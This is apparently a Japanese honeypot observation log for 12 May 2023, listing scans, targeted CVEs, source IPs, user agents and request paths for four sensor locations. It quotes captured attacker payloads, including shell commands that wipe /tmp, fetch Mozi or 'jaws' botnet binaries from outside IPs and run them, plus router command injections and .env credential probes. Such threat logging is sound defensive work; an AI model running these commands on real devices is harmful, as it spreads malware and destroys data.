2023/05/12 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2023/05/12分です。

特徴

共通

CensysInspectによるスキャン行為
/.envへのスキャン行為
Apache Tomcatへのスキャン行為

Location:JP

D-link製品の脆弱性を狙うアクセス
F5 BIG-IP製品の脆弱性(CVE-2022-1388)を狙うアクセス
Nmap Scripting Engineによるスキャン行為
zgrabによるスキャン行為
/.gitへのスキャン行為
149.154.167.99に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  5.255.111.128/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget http://192.168.1.1:8088/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:US

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
F5 BIG-IP製品の脆弱性(CVE-2022-1388)を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
Nmap Scripting Engineによるスキャン行為
/.gitへのスキャン行為
phpMyAdminへのスキャン行為
149.154.167.99に関する不正通信
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  5.255.111.128/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget http://183.105.196.8:38412/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

Location:UK

D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
zgrabによるスキャン行為
/.gitへのスキャン行為
149.154.167.99に関する不正通信

を確認しました。

Location:SG

D-link製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
Nmap Scripting Engineによるスキャン行為
fasthttpによるスキャン行為
zgrabによるスキャン行為
phpMyAdminへのスキャン行為
104.110.240.131に関する不正通信
149.154.167.99に関する不正通信
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://183.130.183.22:40184/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

他

アクセス数推移

JP：総アクセス数：201 (前日比：72)
US：総アクセス数：122 (前日比：-540)
UK：総アクセス数：79 (前日比：-11)
SG：総アクセス数：106 (前日比：-57)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
4	4.1.229.86	United States
2	4.17.224.132	United States
1	15.206.235.52	United States
1	20.253.198.154	United States
2	41.251.249.88	Morocco
54	43.133.166.72	Singapore
18	43.154.141.71	Singapore
1	45.8.145.120	Russia
1	45.56.108.128	United States
1	45.79.128.205	United States
1	45.79.172.21	United States
2	45.79.181.104	United States
1	45.79.181.179	United States
2	45.95.169.240	Croatia
1	59.45.143.3	China
1	60.221.61.247	China
7	64.227.158.125	United States
2	65.157.23.94	United States
2	67.129.123.70	United States
2	68.66.164.26	United States
2	69.194.182.221	United States
1	80.94.92.60	Romania
1	80.241.212.242	Germany
2	91.126.74.133	Spain
6	95.211.95.26	Netherlands
1	103.40.198.64	India
1	103.43.19.95	China
1	103.153.79.223	Vietnam
1	103.187.191.129	private ip address
1	103.187.191.150	private ip address
1	103.187.191.177	private ip address
1	103.187.191.190	private ip address
1	103.187.191.208	private ip address
4	103.187.191.209	private ip address
1	103.187.191.223	private ip address
2	103.187.191.236	private ip address
2	104.192.0.50	United States
1	104.248.174.204	United States
1	107.172.233.156	United States
4	109.122.221.170	Georgia
2	109.237.98.226	Russia
1	113.164.46.80	Vietnam
1	134.122.184.29	Singapore
14	135.125.246.110	France
1	149.5.172.27	United States
1	152.32.210.168	Hong Kong
6	165.154.36.152	Hong Kong
1	167.248.133.37	United States
4	170.64.156.160	United States
1	172.104.11.34	United States
2	172.105.128.12	United States
2	184.105.247.252	United States
2	185.225.45.232	United Kingdom
6	185.254.196.173	Ukraine
1	185.254.196.186	Ukraine
1	190.117.167.176	Peru
2	190.213.155.143	Trinidad and Tobago
1	193.35.18.60	Bulgaria
1	198.235.24.141	United States
1	205.210.31.94	United States
4	216.163.200.22	United States
1	218.29.28.214	China
4	223.165.109.115	United States

UserAgent一覧

件数	UserAgent
33	`-`
2	`Abcd`
3	`Go-http-client/1.1`
2	`Hello, world`
1	`Mozila/5.0`
58	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 9_0_2) AppleWebKit/577.49 (KHTML, like Gecko) Chrome/101.0.2681 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36`
18	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.46`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0`
57	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/559.49 (KHTML, like Gecko) Chrome/97.0.2668 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/574.54 (KHTML, like Gecko) Chrome/87.0.1644 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
7	`Mozilla/5.0 (compatible; Nmap Scripting Engine; https[:]//nmap[.]org/book/nse.html)`
1	`Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1`
1	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.0`
1	`python-requests/2.30.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`27;wget%20http[:]//%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$`	HTTP/1.0
1		`\x16\x03\x01\x01H\x01`
1		`\x16\x03\x01\x01\xfa\x01`
5		`\x16\x03\x01\x02`
14		`\x16\x03\x01`
1	CONNECT	`149[.]154[.]167[.]99:443`	HTTP/1.0
1	GET	`/.env.development`	HTTP/1.1
1	GET	`/.env.prod`	HTTP/1.1
1	GET	`/.env.production`	HTTP/1.1
1	GET	`/.env.project`	HTTP/1.1
1	GET	`/.env.save`	HTTP/1.1
29	GET	`/.env`	HTTP/1.1
2	GET	`/.git/config`	HTTP/1.1
1	GET	`/.json`	HTTP/1.1
2	GET	`/HNAP1`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/admin-app/.env`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/application/.env`	HTTP/1.1
2	GET	`/apps/.env`	HTTP/1.1
1	GET	`/audio/.env`	HTTP/1.1
1	GET	`/axis2-admin/`	HTTP/1.1
1	GET	`/axis2/`	HTTP/1.1
1	GET	`/axis2/axis2-admin/`	HTTP/1.1
1	GET	`/back/.env`	HTTP/1.1
2	GET	`/blog/.env`	HTTP/1.1
1	GET	`/client/.env`	HTTP/1.1
1	GET	`/client/get_targets`	HTTP/1.1
1	GET	`/cms/.env`	HTTP/1.1
1	GET	`/config.json`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/cp/.env`	HTTP/1.1
1	GET	`/debug/default/view?panel=config`	HTTP/1.1
1	GET	`/docker/.env`	HTTP/1.1
1	GET	`/enviroments/.env.production`	HTTP/1.1
1	GET	`/enviroments/.env`	HTTP/1.1
1	GET	`/evox/about`	HTTP/1.1
1	GET	`/exactarget/`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/fedex/.env`	HTTP/1.1
1	GET	`/frontend_dev.php/$`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
2	GET	`/local/.env`	HTTP/1.1
1	GET	`/main/.env`	HTTP/1.1
2	GET	`/manager/html`	HTTP/1.1
4	GET	`/manager/html`	HTTP/1.1\n
1	GET	`/new/.env`	HTTP/1.1
1	GET	`/nmaplowercheck1683757724`	HTTP/1.1
1	GET	`/nmaplowercheck1683774252`	HTTP/1.1
1	GET	`/private/.env`	HTTP/1.1
1	GET	`/public/.env`	HTTP/1.1
1	GET	`/redmine/.env`	HTTP/1.1
1	GET	`/rest/.env`	HTTP/1.1
1	GET	`/robots.txt`	HTTP/1.1
1	GET	`/script/.env`	HTTP/1.1
2	GET	`/shared/.env`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 5.255.111.128/jaws;sh+/tmp/jaws`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/sites/.env`	HTTP/1.1
1	GET	`/sources/.env`	HTTP/1.1
1	GET	`/storage/.env`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/upl.php`	HTTP/1.1
1	GET	`/v3/time`	HTTP/1.1
1	GET	`/v4/ws/usdt`	HTTP/1.1
1	GET	`/video/139239.html`	HTTP/1.1
1	GET	`/web/.env`	HTTP/1.1
2	GET	`/wp-content/`	HTTP/1.1
1	GET	`https[:]//berlin[.]craigslist[.]org/search/jjj?query=software&sort=rel`	HTTP/1.0
1	GET	`https[:]//telegram[.]org/`	HTTP/1.0
1	GET	`https[:]//translate[.]google[.]com/translate_a/single?client=t&sl=auto&tl=de&hl=de&dt=at&dt=bd&dt=ex&dt=ld&dt=md&dt=qca&dt=rw&dt=rm&dt=ss&dt=t&ie=UTF-8&oe=UTF-8&otf=2&ssel=0&tsel=0&kc=4&tk=821208.701606&q=This%20is%20a%20test.`	HTTP/1.0
1	GET	`https[:]//www[.]amazon[.]com/`	HTTP/1.0
1	GET	`https[:]//www[.]bing[.]com/search?q=79.132.137.195%3A8118`	HTTP/1.0
18	HEAD	`/Core/Skin/Login.aspx`	HTTP/1.1
1	POST	`/.env.development`	HTTP/1.1
1	POST	`/.env.prod`	HTTP/1.1
1	POST	`/.env.production`	HTTP/1.1
1	POST	`/.env.project`	HTTP/1.1
1	POST	`/.env.save`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.1
1	POST	`/admin-app/.env`	HTTP/1.1
1	POST	`/api/.env`	HTTP/1.1
1	POST	`/app`	HTTP/1.1
1	POST	`/apps/.env`	HTTP/1.1
1	POST	`/apps`	HTTP/1.1
1	POST	`/audio`	HTTP/1.1
1	POST	`/back/.env`	HTTP/1.1
2	POST	`/blog`	HTTP/1.1
1	POST	`/client`	HTTP/1.1
1	POST	`/cms/.env`	HTTP/1.1
1	POST	`/cn/cmd`	HTTP/1.1
1	POST	`/core/.env`	HTTP/1.1
1	POST	`/cp/.env`	HTTP/1.1
1	POST	`/docker/.env`	HTTP/1.1
1	POST	`/dvr/cmd`	HTTP/1.1
1	POST	`/enviroments/.env.production`	HTTP/1.1
1	POST	`/enviroments/.env`	HTTP/1.1
1	POST	`/fedex/.env`	HTTP/1.1
1	POST	`/laravel/.env`	HTTP/1.1
1	POST	`/local/.env`	HTTP/1.1
1	POST	`/local`	HTTP/1.1
1	POST	`/main`	HTTP/1.1
1	POST	`/mgmt/tm/util/bash`	HTTP/1.1
1	POST	`/new`	HTTP/1.1
1	POST	`/private/.env`	HTTP/1.1
1	POST	`/public`	HTTP/1.1
1	POST	`/redmine`	HTTP/1.1
1	POST	`/rest/.env`	HTTP/1.1
1	POST	`/script/.env`	HTTP/1.1
2	POST	`/sdk`	HTTP/1.1
1	POST	`/shared/.env`	HTTP/1.1
1	POST	`/shared`	HTTP/1.1
1	POST	`/sites`	HTTP/1.1
1	POST	`/sources/.env`	HTTP/1.1
1	POST	`/storage`	HTTP/1.1
1	POST	`/web`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	4.154.83.105	United States
1	14.161.3.29	Vietnam
1	20.1.154.236	United States
1	20.245.100.243	United States
1	45.79.128.205	United States
1	45.79.172.21	United States
1	45.79.181.104	United States
2	45.79.181.179	United States
1	45.79.181.223	United States
3	45.79.181.251	United States
2	45.95.169.240	Croatia
1	45.133.235.146	Russia
1	45.227.254.49	Belize
20	54.37.79.75	France
1	59.45.143.3	China
1	66.175.234.123	United States
7	68.183.154.218	United States
2	80.76.51.68	Bulgaria
2	87.121.221.49	Bulgaria
1	91.191.209.202	Bulgaria
1	91.234.96.164	Russia
6	95.211.95.26	Netherlands
6	95.214.27.204	Bulgaria
1	103.153.79.223	Vietnam
1	103.169.35.15	Vietnam
1	103.187.191.130	private ip address
1	103.187.191.134	private ip address
1	103.187.191.151	private ip address
1	103.187.191.210	private ip address
1	109.207.200.43	Ukraine
2	109.237.97.180	Russia
2	109.237.98.226	Russia
1	113.186.214.74	Vietnam
1	120.85.114.140	China
1	134.122.135.54	Singapore
1	139.59.190.155	Singapore
1	146.19.215.41	Lithuania
2	152.89.196.144	Russia
1	160.176.163.183	Morocco
2	162.142.125.13	United States
1	165.227.214.245	United States
2	167.94.138.125	United States
7	167.172.34.41	United States
2	167.248.133.125	United States
8	170.64.156.160	United States
1	172.104.11.4	United States
1	172.104.11.51	United States
1	172.104.242.173	United States
1	176.97.210.100	Germany
1	176.125.235.99	Norway
2	179.43.177.243	Panama
1	183.105.196.8	South Korea
1	198.235.24.107	United States
1	198.235.24.132	United States
5	208.100.26.230	United States
2	216.218.206.68	United States

UserAgent一覧

件数	UserAgent
51	`-`
2	`Abcd`
1	`Go-http-client/1.1`
1	`Hello, World`
1	`Hello, world`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
5	`Mozilla/5.0 (Windows NT 10.0; WOW64; rv:63.0) Gecko/20100101 Firefox/63.0.3`
6	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0`
28	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0`
4	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
3	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
4	`Mozilla/5.0 (compatible; Nmap Scripting Engine; https[:]//nmap[.]org/book/nse.html)`
1	`Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1`
2	`Mozilla/5.0`
1	`libwww-perl/6.67`
3	`python-requests/2.28.1`
1	`python-requests/2.30.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
3		`\x03`
2		`\x16\x03\x01\x01H\x01`
1		`\x16\x03\x01\x01\xfb\x01`
19		`\x16\x03\x01`
1	CONNECT	`149[.]154[.]167[.]99:443`	HTTP/1.0
1	CONNECT	`blank[.]org:443`	HTTP/1.1
31	GET	`/.env`	HTTP/1.1
2	GET	`/.git/config`	HTTP/1.1
1	GET	`//MyAdmin/scripts/setup.php`	HTTP/1.1
1	GET	`//myadmin/scripts/setup.php`	HTTP/1.1
1	GET	`//phpMyAdmin/scripts/setup.php`	HTTP/1.1
1	GET	`//phpmyadmin/scripts/setup.php`	HTTP/1.1
1	GET	`//pma/scripts/setup.php`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
2	GET	`/HNAP1`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
2	GET	`/client/get_targets`	HTTP/1.1
2	GET	`/evox/about`	HTTP/1.1
7	GET	`/favicon.ico`	HTTP/1.1
2	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/login?from=%2F`	HTTP/1.1
8	GET	`/manager/html`	HTTP/1.1\n
1	GET	`/muieblackcat`	HTTP/1.1
1	GET	`/nmaplowercheck1683813939`	HTTP/1.1
1	GET	`/nmaplowercheck1683826168`	HTTP/1.1
2	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 5.255.111.128/jaws;sh+/tmp/jaws`
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//183[.]105[.]196[.]8:38412/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
2	GET	`/upl.php`	HTTP/1.1
1	GET	`/video/139239.html`	HTTP/1.1
1	GET	`https[:]//berlin[.]craigslist[.]org/search/jjj?query=software&sort=rel`	HTTP/1.0
1	GET	`https[:]//telegram[.]org/`	HTTP/1.0
1	GET	`https[:]//translate[.]google[.]com/translate_a/single?client=t&sl=auto&tl=de&hl=de&dt=at&dt=bd&dt=ex&dt=ld&dt=md&dt=qca&dt=rw&dt=rm&dt=ss&dt=t&ie=UTF-8&oe=UTF-8&otf=2&ssel=0&tsel=0&kc=4&tk=821208.701606&q=This%20is%20a%20test.`	HTTP/1.0
1	GET	`https[:]//www[.]amazon[.]com/`	HTTP/1.0
1	GET	`https[:]//www[.]bing[.]com/search?q=36.6.145.241%3A8089`	HTTP/1.0
1	HEAD	`/`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
4	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cgi-bin/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/.%%%%32%%65/bin/sh`	HTTP/1.1
1	POST	`/cn/cmd`	HTTP/1.1
1	POST	`/dvr/cmd`	HTTP/1.1
1	POST	`/mgmt/tm/util/bash`	HTTP/1.1
2	POST	`/sdk`	HTTP/1.1
3	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	45.33.80.243	United States
1	45.79.181.94	United States
1	45.79.181.104	United States
1	45.79.181.179	United States
1	45.79.181.223	United States
1	45.79.181.251	United States
2	45.95.169.240	Croatia
1	45.227.254.49	Belize
1	51.79.29.48	Canada
11	54.37.79.75	France
4	54.153.95.244	United States
7	64.227.124.233	United States
1	66.175.213.4	United States
1	87.121.221.49	Bulgaria
1	91.191.209.202	Bulgaria
1	91.234.96.164	Russia
6	95.211.95.26	Netherlands
1	107.170.228.9	United States
2	109.237.97.180	Russia
2	109.237.98.226	Russia
1	120.211.137.41	China
1	149.5.172.27	United States
2	152.89.196.144	Russia
4	162.142.125.216	United States
1	167.71.89.68	United States
4	170.64.156.160	United States
1	172.104.11.46	United States
1	172.104.11.51	United States
1	179.43.143.74	Panama
2	179.43.177.243	Panama
2	184.105.247.195	United States
1	192.35.222.19	United States
1	192.99.9.171	Canada
2	192.155.90.118	United States
1	193.35.18.60	Bulgaria
2	193.35.18.61	Bulgaria
1	193.35.18.251	Bulgaria
1	198.235.24.104	United States
1	198.235.24.131	United States
1	206.189.17.49	United States

UserAgent一覧

件数	UserAgent
36	`-`
2	`Abcd`
2	`Mozila/5.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0`
14	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0`
5	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
2	`Mozilla/5.0 zgrab/0.x`
2	`Mozilla/5.0`
4	`python-requests/2.28.2`

リクエスト内容一覧

件数	Method	Request	Protocol
3		`\x03`
2		`\x16\x03\x01\x01H\x01`
1		`\x16\x03\x01\x01\xfc\x01`
17		`\x16\x03\x01`
1	CONNECT	`149[.]154[.]167[.]99:443`	HTTP/1.0
14	GET	`/.env`	HTTP/1.1
4	GET	`/.git/config`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/cdn-cgi/trace`	HTTP/1.1
1	GET	`/client/get_targets`	HTTP/1.1
1	GET	`/druid/index.html`	HTTP/1.1
1	GET	`/exactarget/`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
4	GET	`/manager/html`	HTTP/1.1\n
1	GET	`/oamfed/idp/soap`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//120[.]211[.]137[.]41:57847/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/upl.php`	HTTP/1.1
1	GET	`https[:]//berlin[.]craigslist[.]org/search/jjj?query=software&sort=rel`	HTTP/1.0
1	GET	`https[:]//telegram[.]org/`	HTTP/1.0
1	GET	`https[:]//translate[.]google[.]com/translate_a/single?client=t&sl=auto&tl=de&hl=de&dt=at&dt=bd&dt=ex&dt=ld&dt=md&dt=qca&dt=rw&dt=rm&dt=ss&dt=t&ie=UTF-8&oe=UTF-8&otf=2&ssel=0&tsel=0&kc=4&tk=821208.701606&q=This%20is%20a%20test.`	HTTP/1.0
1	GET	`https[:]//www[.]amazon[.]com/`	HTTP/1.0
1	GET	`https[:]//www[.]bing[.]com/search?q=2.16.186.32%3A80`	HTTP/1.0
2	POST	`/HNAP1/`	HTTP/1.1
5	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cn/cmd`	HTTP/1.1
1	POST	`/dvr/cmd`	HTTP/1.1
2	PRI	`*`	HTTP/2.0
1	PROXY	`TCP4 192.35.222.203`

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	8.222.163.229	Singapore
2	43.143.245.85	China
1	45.56.108.128	United States
1	45.79.128.205	United States
2	45.79.181.104	United States
2	45.79.181.179	United States
1	45.93.201.57	Russia
4	45.95.169.240	Croatia
1	45.227.254.48	Belize
1	45.227.254.49	Belize
12	54.37.79.75	France
1	66.175.213.4	United States
1	86.38.225.169	Lithuania
1	91.191.209.202	Bulgaria
1	95.32.72.175	Russia
7	95.211.95.26	Netherlands
1	103.187.191.149	private ip address
1	103.187.191.160	private ip address
1	103.187.191.171	private ip address
1	103.187.191.174	private ip address
1	103.187.191.181	private ip address
1	103.187.191.194	private ip address
1	103.187.191.230	private ip address
1	103.187.191.233	private ip address
1	103.187.191.238	private ip address
1	103.187.191.239	private ip address
2	103.187.191.253	private ip address
1	104.215.76.202	United States
1	107.170.249.24	United States
1	109.207.200.43	Ukraine
2	109.237.98.226	Russia
1	134.122.135.54	Singapore
1	149.5.172.27	United States
1	152.32.187.221	Hong Kong
6	152.32.226.125	Hong Kong
2	152.89.196.144	Russia
2	162.142.125.215	United States
7	164.92.135.70	United States
9	170.64.156.160	United States
1	172.104.11.4	United States
2	172.104.11.51	United States
1	172.105.89.161	United States
1	172.105.128.12	United States
2	172.105.128.13	United States
1	179.43.143.74	Panama
1	183.130.183.22	China
2	184.105.247.196	United States
1	188.166.150.61	United States
1	193.35.18.61	Bulgaria
4	193.35.18.65	Bulgaria
2	193.35.18.251	Bulgaria
1	198.235.24.141	United States
1	205.210.31.155	United States

UserAgent一覧

件数	UserAgent
46	`-`
4	`Abcd`
1	`Go-http-client/1.1`
1	`Hello, world`
4	`Mozila/5.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 9_1) AppleWebKit/549.48 (KHTML, like Gecko) Chrome/73.0.1552 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36`
4	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0`
1	`Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0`
15	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/589.48 (KHTML, like Gecko) Chrome/77.0.2323 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/592.39 (KHTML, like Gecko) Chrome/87.0.211 Safari/537.36`
3	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
8	`Mozilla/5.0 (compatible; Nmap Scripting Engine; https[:]//nmap[.]org/book/nse.html)`
1	`Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1`
2	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.0`
1	`fasthttp`

リクエスト内容一覧

件数	Method	Request	Protocol
2		`-`
3		`\x03`
1		`\x16\x03\x01\x01H\x01`
1		`\x16\x03\x01\x01\xfb\x01`
4		`\x16\x03\x01\x02`
18		`\x16\x03\x01`
